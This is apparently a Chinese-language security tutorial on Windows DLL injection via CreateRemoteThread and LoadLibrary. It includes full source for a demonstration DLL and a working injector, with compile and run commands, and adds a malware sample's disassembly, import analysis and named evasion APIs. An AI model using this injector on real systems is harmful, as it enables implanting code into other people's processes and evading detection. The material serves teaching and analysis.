前言
DLL(动态链接库)注入是一种流行的代码注入技术,允许攻击者将恶意代码植入目标进程中执行。在众多注入方法中,使用CreateRemoteThread和LoadLibrary结合的注入方式是最经典、使用最多的一个形式。本该这两个函数是用于开发和调试被广泛用于在开发上面,一些应用和开发工具需要加载DLL和创建线程来实现功能的,就是说像一些恶意软件上经常会见到这两个函数,那么只有被滥用于这方面,本文将介绍这一技术的基础原理,并通过简化的注入流程示例,当然这里我还带来了一个样本和大家一起来探讨,探讨,在开始之前我们先简单的来讲讲CreateRemoteThread、LoadLibrary函数。
一、CreateRemoteThread 函数
CreateRemoteThread 是Windows API中的一个函数,用于在指定的进程中创建一个新的线程。这个函数常用于多种场景,包括程序的并发执行、调试、以及恶意软件的DLL注入等。下面将详细介绍 CreateRemoteThread 的功能、用法、参数、返回值及其函数原型。
函数原型:
HANDLE CreateRemoteThread(
HANDLE hProcess, // 目标进程的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
SIZE_T dwStackSize, // 线程栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 指向线程函数的指针
LPVOID lpParameter, // 传递给线程函数的参数
DWORD dwCreationFlags, // 创建标志
LPDWORD lpThreadId // 指向线程ID的指针
);
参数详解
hProcess
:类型:
HANDLE
描述:目标进程的句柄。这个句柄必须具有
PROCESS_CREATE_THREAD
权限。可以使用OpenProcess
函数获取目标进程的句柄。
lpThreadAttributes
:类型:
LPSECURITY_ATTRIBUTES
描述:指向
SECURITY_ATTRIBUTES
结构的指针,用于设置新线程的安全属性。可以设置为NULL
,表示使用默认安全设置。
dwStackSize
:类型:
SIZE_T
描述:指定新线程的初始栈大小。如果设置为
0
,则使用默认栈大小。
lpStartAddress
:类型:
LPTHREAD_START_ROUTINE
描述:指向新线程要执行的函数的地址。该函数必须符合
LPTHREAD_START_ROUTINE
函数原型,即接受一个LPVOID
类型的参数并返回DWORD
类型的结果。
lpParameter
:类型:
LPVOID
描述:传递给线程函数的参数。可以传递任意类型的指针,但在使用时需确保参数类型正确。
dwCreationFlags
:类型:
DWORD
描述:指定线程的创建方式,可以设置为以下值:
0
:线程将立即运行。CREATE_SUSPENDED
:线程创建时处于挂起状态,需要调用ResumeThread
函数才能开始执行。
lpThreadId
:类型:
LPDWORD
描述:指向一个变量的指针,用于接收新线程的线程ID。如果不需要线程ID,可以设置为
NULL
。
返回值
成功:返回新创建线程的句柄(
HANDLE
)。失败:返回
NULL
,可以调用GetLastError
获取错误代码,以确定失败原因。
错误代码
常见的错误代码包括:
ERROR_INVALID_PARAMETER
:参数无效。ERROR_ACCESS_DENIED
:没有足够的权限访问目标进程。ERROR_NOT_ENOUGH_MEMORY
:内存不足。
二、LoadLibrary 函数
LoadLibrary 是 Windows API 中的一个重要函数,主要用于加载动态链接库(DLL)并返回该库的模块句柄。通过这个句柄,程序可以调用库中导出的函数。
函数原型:
HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);HMODULE LoadLibraryW(
LPCWSTR lpLibFileName
);
参数:
lpLibFileName
:指定要加载的 DLL 文件的路径,可以是完整路径或相对路径。根据使用的字符集,您可以选择
LoadLibraryA
(ANSI 版本)或LoadLibraryW
(Unicode 版本)。在 Windows 中,通常建议使用LoadLibraryW
来支持多语言和字符集。
返回值:
如果成功,返回 DLL 模块的句柄(
HMODULE
类型),否则返回NULL
。可以使用GetLastError
获取错误信息。
函数功能
加载 DLL:
LoadLibrary
会从指定路径加载 DLL 并将其映射到进程的地址空间中。这使得程序可以调用 DLL 中的导出函数。
引用计数:
每当调用
LoadLibrary
加载 DLL 时,引用计数会增加。调用FreeLibrary
函数可以减少引用计数,当计数降为 0 时,DLL 将被卸载。
导入函数:
通过 DLL 的模块句柄,可以使用
GetProcAddress
函数获取 DLL 中导出的函数的地址,从而调用这些函数。
三、DLL 注入教程:使用 CreateRemoteThread 注入 DLL
我们将实现一个简单的 DLL,它在被注入时会弹出一个消息框,并编写一个注入程序,该程序利用 Windows API 中的CreateRemoteThread
函数来完成 DLL 注入。
1、DLL编写
这段代码实现了一个基本的 DLL,通过MessageBox
函数在 DLL 加载时弹出提示框。它的主要功能是在被注入到其他进程时,显示一条消息,表明 DLL 已成功注入。虽然该示例简单,但它展示了 DLL 的基本结构和使用 Windows API 的方法。编写一个简单的 DLL,名为 evil.dll,当它被注入到目标进程时,会显示一条消息。以下是 evil.dll 的源码。
#include <windows.h>
#pragma comment (lib, "user32.lib")BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"David Meow from evil.dll!",
"DLL注入",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
代码说明
DllMain: 这是 DLL 的入口点。在
DLL_PROCESS_ATTACH
情况下,弹出一个消息框。MessageBox: 该函数用来显示消息框,参数包括父窗口句柄、消息内容、标题和按钮类型。
这里用kali的mingw-w64直接编译:
┌──(kali㉿kali)-[~/Desktop/injection]
└─$ x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
然后我们起个服务或者粘贴复制放到测试机上,把生成的DLL文件存放到一个路径上,这里直接放在C盘下了,注入程序EXE的源码中需要引用文件这个DLL文件(路径)。
2、注入程序编写:
接下来,我们将编写一个注入程序inj.exe
,用于将 DLL 注入到指定进程中。以下是注入程序的源码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>char evilDLL[] = "C:\\evil.dll"; //这里需要修改为你自己的DLL文件存放路径
unsigned int evilLen = sizeof(evilDLL) + 1;int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
代码说明:
定义一个字符数组 evilDLL,存放待注入的 DLL 文件路径。evilLen 计算了 DLL 路径字符串的长度,加 1 是为了包含字符串结束符 '\0'
主函数:argc:命令行参数的数量。argv:指向命令行参数的字符串数组。
变量:ph:用于存储目标进程的句柄。rt:用于存储创建的远程线程句柄。rb:用于存储目标进程中的内存地址。
获取 LoadLibraryA 地址:GetModuleHandle 获取 kernel32.dll 模块的句柄。GetProcAddress 获取 LoadLibraryA 函数的地址,这个函数用于加载 DLL。
解析进程 ID:使用 atoi 将命令行参数中的进程 ID 转换为整数。如果转换结果为 0,打印错误信息并退出程序。打印出要注入的进程 ID。
打开目标进程:使用 OpenProcess 打开目标进程,获取其句柄 ph,并请求所有访问权限(PROCESS_ALL_ACCESS)。FALSE 表示不继承句柄。
在目标进程中分配内存:使用 VirtualAllocEx 在目标进程的地址空间中分配内存,以存储 DLL 路径。
将 DLL 路径写入目标进程内存:使用 WriteProcessMemory 将 evilDLL 字符串写入目标进程的内存空间 rb。
创建远程线程:使用 CreateRemoteThread 创建一个远程线程,该线程在目标进程中运行 LoadLibraryA 函数,并将 rb(DLL 路径)作为参数传递给它。这将导致目标进程加载 evil.dll。
- 关闭目标进程的句柄
ph
,释放资源。 - 返回 0,表示程序正常结束。
注入的流程大概就是这么多。
3、编译注入程序
将上述代码保存为inj.c
,并使用编译器编译成可执行文件inj.exe
。
┌──(kali㉿kali)-[~/Desktop/injection]
└─$ x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
4、注入程序利用
要使用注入程序,首先确保目标进程正在运行,我这里先打开一个计算器。然后,将<PID>
替换为目标进程的实际进程 ID。例如,如果目标进程的 PID 是2544
,直接打开命令提示符并执行以下命令:
C:\>inj.exe 2544
PID: 2544
我们在计算器的程序DLL文件中已经发现了我们编写的evil.dll文件,此时我们的这个注入是成功。
四、通过线程劫持进行恶意代码注入
我们了解的知识点后,我们进阶利用,这种手段嵌入恶意执行程序,那么这里通过线程演示劫持恶意代码注入。该方法的关键步骤包括找到目标进程的 PID,分配内存以写入恶意代码,暂停目标线程,修改其执行上下文(寄存器状态),使其跳转到恶意代码并执行。代码部分和上面几乎一样流程,但是上面是创建新流程,这个是劫持进程,同样的需要找到正在运行的目标进程。
同样编译代码,这里我们通需要运行运行一个进程,这里运行一个文本文档,我们劫持的就是一个文本文档,然后运行,就会加载我们的恶意程序。
.\hack.exe notepad.exe
五、相关的恶意样本分析
SHA256:
07B8F25E7B536F5B6F686C12D04EDC37E11347C8ACD5C53F98A174723078C365
1、VirtualAllocEx 内存分配恶意软件首先通过VirtualFreeEx
释放内存,之后调用VirtualAllocEx
在远程进程中分配内存。这块内存用于保存 DLL 的路径,供后续注入使用。
push 40h ; '@' ; flProtect
push 3000h ; flAllocationType
push esi ; dwSize
push edi ; lpAddress
push ebx ; hProcess
call VirtualAllocEx
2、WriteProcessMemory 写入内存分配内存后,代码调用WriteProcessMemory
将恶意 DLL 的路径写入到目标进程的内存空间。
push eax ; lpNumberOfBytesWritten
push esi ; nSize
push 0 ; lpModuleName
call GetModuleHandleA_0
push eax ; lpBuffer
push edi ; lpBaseAddress
push ebx ; hProcess
call WriteProcessMemory
3、CreateRemoteThread 执行注入最后,恶意软件调用CreateRemoteThread
,指定远程进程中的LoadLibrary
地址作为线程的入口点,启动新的线程来加载 DLL。这是注入的关键步骤。
lea eax, [esp+24h+ThreadId]
push eax ; lpThreadId
push 0 ; dwCreationFlags
mov eax, [esp+2Ch+lpParameter]
push eax ; lpParameter
mov eax, [esp+30h+lpStartAddress]
push eax ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
push ebx ; hProcess
call CreateRemoteThread
上面的代码是典型的基于CreateRemoteThread
的 一种DLL 注入技术。恶意软件通过以下步骤完成注入:
- 使用
VirtualAllocEx
在目标进程中分配内存。 - 使用
WriteProcessMemory
将 DLL 路径写入到目标进程。 - 调用
CreateRemoteThread
创建一个新线程来加载 DLL。
虽然这种方法很常见,但是CreateRemoteThread
已被很多安全软件标记并检测该行为。如果是一些比较有规模的攻击者会使用更隐蔽的技术,如NtCreateThreadEx
或RtlCreateUserThread
,来规避检测。
六、其它侦测手段
观察文件头
这里使用了HXD打开这个样本,通过样本中可以看到开头 4D 5A 表示 "MZ" 签名,标识这是一个DOS可执行文件的起始部分。这是所有Windows可执行文件的标准头(MZ Header),即使是PE格式,也会保留此签名。
后面紧跟的是DOS存根程序(stub),包括 "This program must be run under Win32" 的ASCII字符串。这部分通常表示一个标准信息,告诉用户该程序无法在纯DOS环境下运行,必须在Windows环境中执行。
观察时间戳文件元数据
在 PE 头部分,通常可以看到时间戳等信息,但这里的截图中相关时间信息无效(如截图显示的 "DOS date 2030/11/4"),这可能表明该文件在编译或打包时故意修改了时间戳进行规避一些安全沙箱检测手段。
使用PE-bear工具打开恶意样本,然后在这个截图中,我们看到的是PE文件的导入表,这里列出了该文件导入的动态链接库(DLL)及相应的API调用,这些导入项对于分析程序的功能和潜在的恶意行为非常关键。
- 主要导入的DLL有:
kernel32.dll
:这是Windows操作系统核心的动态链接库,通常与进程、线程、内存管理相关。user32.dll
:与用户界面交互相关的DLL,通常用于处理图形用户界面事件,如消息框、输入处理。ole32.dll
和oleaut32.dll
:与对象链接与嵌入(OLE)技术相关,通常用于COM对象的管理。advapi32.dll
:提供高级Windows API,如注册表访问、服务管理等。psore.dll
和rasapi32.dll
:可能与远程通信、网络相关功能有关。
kernel32.dll API
在导入表的下方,我们看到kernel32.dll
中调用的API函数列表。这里列出的部分函数特别值得关注:
GetCurrentThreadId
:获取当前线程的ID。常用于线程管理,可能与多线程操作相关。ExitProcess
:终止当前进程。恶意软件可能会调用该函数来退出受感染的进程。UnhandedExceptionFilter
:设置或检索未处理的异常过滤器。通常用于异常处理,也可能用于隐藏恶意行为。TlsSetValue
/TlsGetValue
:与线程局部存储(TLS)相关,可能涉及TLS回调技术,这在恶意软件中有时被用来隐蔽植入的代码。GetModuleHandleA
:获取指定模块的句柄。可以用于查找已经加载的DLL,可能与加载和操作外部模块相关。
七、总结
本文详细介绍了使用 CreateRemoteThread和 LoadLibrary函数进行 DLL 注入的技术原理,并结合了代码示例,展示了如何通过 Windows API 实现代码注入。
首先,文章简要介绍了 CreateRemoteThread和 LoadLibrary函数的基本功能和参数详解。CreateRemoteThread用于在目标进程中创建新线程,而 LoadLibrary则用于加载动态链接库(DLL)。文章通过简洁的函数解释,让读者理解了这两个函数在 Windows 中的常见应用以及在恶意软件中的潜在滥用。
接着,文章提供了一个实际的 DLL 注入示例,包括 DLL 文件(evil.dll)的编写和注入程序的代码(inj.exe)。其中,DLL 的功能是显示一个消息框,表明 DLL 已成功注入目标进程。注入程序通过 OpenProcess打开目标进程,使用 VirtualAllocEx分配内存,调用 WriteProcessMemory写入 DLL 路径,最后利用 CreateRemoteThread创建新线程并执行注入。示例代码不仅直观,还带有详细的注释,方便读者理解。
文章还进一步探讨了恶意软件如何通过 CreateRemoteThread实现注入攻击,包括分配内存、写入恶意代码路径、并最终创建远程线程加载恶意 DLL。这些步骤被许多恶意软件广泛使用,尤其是在进行 DLL 注入时,虽然常见但也容易被检测。
在后续的部分中,文章提到了一些更高级的攻击技术,例如通过线程劫持进行恶意代码注入,以及使用 NtCreateThreadEx或 RtlCreateUserThread等更隐蔽的注入方式来规避检测。
最后,文章通过恶意样本的分析(例如查看文件头、时间戳、导入表等)展示了实际恶意软件的行为,包括如何通过 VirtualAllocEx和 WriteProcessMemory等函数进行内存分配和代码注入。此外,还介绍了常见的API函数,如 GetCurrentThreadId和 ExitProcess,以及它们在恶意软件中的作用。
通过这些详细的步骤和样本分析,本文为读者提供了一个从基础到进阶的全面 DLL 注入技术的学习路径,同时也揭示了这类技术在恶意软件中的实际应用和检测方法。